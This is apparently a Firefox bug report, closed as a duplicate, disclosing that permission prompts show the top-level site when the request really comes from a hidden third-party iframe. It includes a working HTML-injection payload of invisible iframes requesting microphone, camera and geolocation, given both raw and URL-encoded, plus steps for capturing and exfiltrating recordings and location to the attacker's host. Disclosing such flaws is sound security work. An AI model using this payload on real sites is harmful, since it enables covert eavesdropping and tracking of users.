Bug: Firefox Desktop : Origin/domain Display Manipulation on Permission Prompts
Status: RESOLVED
Priority: --
Resolution: DUPLICATE
Created: 2025-02-07 15:36:10+00:00
Resolved: 2025-02-08 06:31:02+00:00

User Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36

Steps to reproduce:

Firefox incorrectly displays permission requests from third-party iframes to the top-level origin, misleading users into granting microphone, camera, and geolocation access to malicious domains.


Actual results:

Attacker Preparation:

- Host malicious code on 12x.site (e.g., a microphone recording script).

- Identify an XSS vulnerability or an HTML injection flaw on a trusted site (https://begbounty.xyz).

- Inject an iframe through the vulnerable input field, such as a comment section or embedded widget, using:

```
<iframe id="legitimate-content" src="https://12x.site/poc.html" allow="microphone" style="opacity: 0;"></iframe> <iframe id="legitimate-content" src="https://12x.site/pocx.html" allow="camera" style="opacity: 0;"></iframe><iframe id="legitimate-content" src="https://12x.site/attacker/map.php/attacker/map.php" allow="geolocation" style="opacity: 0;"></iframe>
```

User Interaction:

A user visits begbounty.xyz(`https://begbounty.xyz/xss.php?user_input=%3Ciframe%20id=%22legitimate-content%22%20src=%22https://12x.site/poc.html%22%20allow=%22microphone%22%20style=%22opacity:%200;%22%3E%3C/iframe%3E%20%3Ciframe%20id=%22legitimate-content%22%20src=%22https://12x.site/pocx.html%22%20allow=%22camera%22%20style=%22opacity:%200;%22%3E%3C/iframe%3E%3Ciframe%20id=%22legitimate-content%22%20src=%22https://12x.site/attacker/map.php/attacker/map.php%22%20allow=%22geolocation%22%20style=%22opacity:%200;%22%3E%3C/iframe%3E`), where the attacker's script dynamically injects the malicious iframe 


Firefox Desktop displays a misleading prompt:

"Allow begbounty.xyz to access your microphone, camera, geolocation?"

The prompt does not indicate that the permission is actually being requested by 12x.site.


Exploitation:

If the user clicks “Allow,” 12x.site gains persistent access to:

- Microphone (audio eavesdropping)

- Camera (photo/video capture)

- Geolocation (real-time tracking)

The attacker records audio, takes photos, and tracks the victim’s location in real-time and exfiltrates the data to their server.



DETAILED Excplaination about "allow attribute & permission policy" 

- It clearly illustrates a real-world attack scenario in Chrome Desktop, going beyond just an issue related to iframe allow= attributes. The HTML payload includes an iframe with the allow attribute, and the attacker has control over how the payload is crafted.

-  Permission Policy header is not relevant to the actual vulnerability being discussed. This issue is not about whether a Permission Policy header is set or not; rather, it concerns Origin Display Manipulation on Permission Prompts—the core vulnerability here.

- The exploit allows the permission prompt to display one domain while actually granting permissions to a different domain. This is the fundamental security flaw, not the absence or presence of a Permission Policy header.

- To demonstrate this, I exploited an HTML injection vulnerability on begbounty.xyz, but this attack is not limited to just this site.

- Any website vulnerable to HTML injection or XSS can be abused in the same way, making this a more widespread issue.

- Not every website implements a Permission Policy header, as it is not a default security measure enforced by browsers—it is entirely up to individual site owners to configure it.


The Core Issue:
The real security concern is that an attacker can manipulate permission prompts to deceive users, leading them to unknowingly grant permissions to an unintended domain. This is a significant vulnerability that goes beyond whether a Permission Policy header is present.

1. Users Are Misled into Granting Permissions
Firefox assumes users fully understand that permissions are granted at the parent frame level, not the iframe level.
In reality, users only see the top-level domain (https://begbounty.xyz) in the permission prompt, not 12x.site, making them believe the trusted site is requesting access.

2. Large-Scale Exploitation Across Multiple Trusted Sites
Attackers can inject iframes across multiple compromised trusted sites using XSS, reusing the same exploit.

Steps to reproduce 

1. https://begbounty.xyz/xss.php?user_input=<vulnerable_xss> , this domain is vulnerable with HTML injection.

2. Browse https://begbounty.xyz/xss.php?user_input=%3Ciframe%20id=%22legitimate-content%22%20src=%22https://12x.site/poc.html%22%20allow=%22microphone%22%20style=%22opacity:%200;%22%3E%3C/iframe%3E%20%3Ciframe%20id=%22legitimate-content%22%20src=%22https://12x.site/pocx.html%22%20allow=%22camera%22%20style=%22opacity:%200;%22%3E%3C/iframe%3E%3Ciframe%20id=%22legitimate-content%22%20src=%22https://12x.site/attacker/map.php/attacker/map.php%22%20allow=%22geolocation%22%20style=%22opacity:%200;%22%3E%3C/iframe%3E

3. Note that browser prompt will show that begbounty.xyz is requesting camera,mic and geolocation permissions.

4. Once you approve it, it will give all permissions to https://12x.site

5. Browse https://12x.site/uploads/recording.webm and this will show that attacker has used microphone .

6. browse https://12x.site/maps.html and it will show geo location.


Expected results:

it should prompt that 12x.site wants to access the permissions.